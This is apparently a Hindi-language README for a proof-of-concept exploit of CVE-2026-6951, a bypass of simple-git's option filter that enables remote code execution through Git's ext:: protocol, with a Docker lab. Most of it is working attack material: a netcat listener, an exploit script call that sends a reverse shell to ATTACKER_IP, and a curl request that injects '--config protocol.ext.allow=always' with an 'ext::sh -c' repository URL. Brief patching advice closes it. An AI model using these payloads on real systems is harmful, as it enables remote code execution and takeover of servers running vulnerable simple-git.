
CVE-2026-6951 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो एक simple-git --config फ़िल्टर बायपास है जो Git ext प्रोटोकॉल के माध्यम से RCE को सक्षम बनाता है, साथ में एक Docker लैब और रिवर्स शेल पेलोड।
★ CVE-2026-6951 simple-git --config विकल्प फ़िल्टर बायपास RCE PoC ★
https://github.com/user-attachments/assets/4c992530-c5bb-4ff4-be5d-af0857eebb67
CVE-2026-6951
simple-gitमें एक रिमोट कोड एक्ज़ीक्यूशन भेद्यता है जो CVE-2022-25912 के अपूर्ण फिक्स के कारण उत्पन्न हुई है। हालाँकि-cविकल्प को अवरुद्ध कर दिया गया था, समकक्ष--configविकल्प को ठीक से प्रतिबंधित नहीं किया गया था। एक हमलावर जो Git आर्गुमेंट्स को नियंत्रित कर सकता है,extप्रोटोकॉल को सक्षम कर सकता है औरext::रिपॉज़िटरी URL के माध्यम से मनमाने कमांड निष्पादित कर सकता है।
| श्रेणी | संस्करण |
|---|---|
| भेद्य | simple-git संस्करण 3.36.0 से पहले |
| पैच किया गया | simple-git 3.36.0 या बाद का |
यह वातावरण simple-git 3.35.2 और @simple-git/argv-parser 1.0.3 का उपयोग करता है।
भेद्य वातावरण को बनाएँ और चलाएँ।
docker build -t cve-2026-6951 .
docker run --rm -d --name cve-2026-6951 -p 9107:9107 cve-2026-6951
सेवा तक पहुँचें:
http://127.0.0.1:9107
सेवा की स्थिति जाँचें।
curl -s http://127.0.0.1:9107/api/health
एम्बेडेड नमूना रिपॉज़िटरी यहाँ उपलब्ध है:
file:///srv/git/sample.git
हमलावर सिस्टम पर एक लिसनर शुरू करें।
nc -lvnp 4444
एक्सप्लॉइट स्क्रिप्ट चलाएँ।
python3 poc.py http://127.0.0.1:9107 --lhost ATTACKER_IP --lport 4444
निम्नलिखित अनुरोध अप्रतिबंधित --config विकल्प और Git ext प्रोटोकॉल का दुरुपयोग करके id कमांड निष्पादित करता है।
curl -s -X POST http://127.0.0.1:9107/api/import \
-H 'Content-Type: application/json' \
--data-raw '{
"repository":"ext::sh -c id% >&2",
"name":"id-check",
"options":["--config","protocol.ext.allow=always"],
"environment":{}
}'
simple-git को संस्करण 3.36.0 या बाद के संस्करण में अपग्रेड करें।simple-git को न पास करें।ext:: URL को अस्वीकार करें।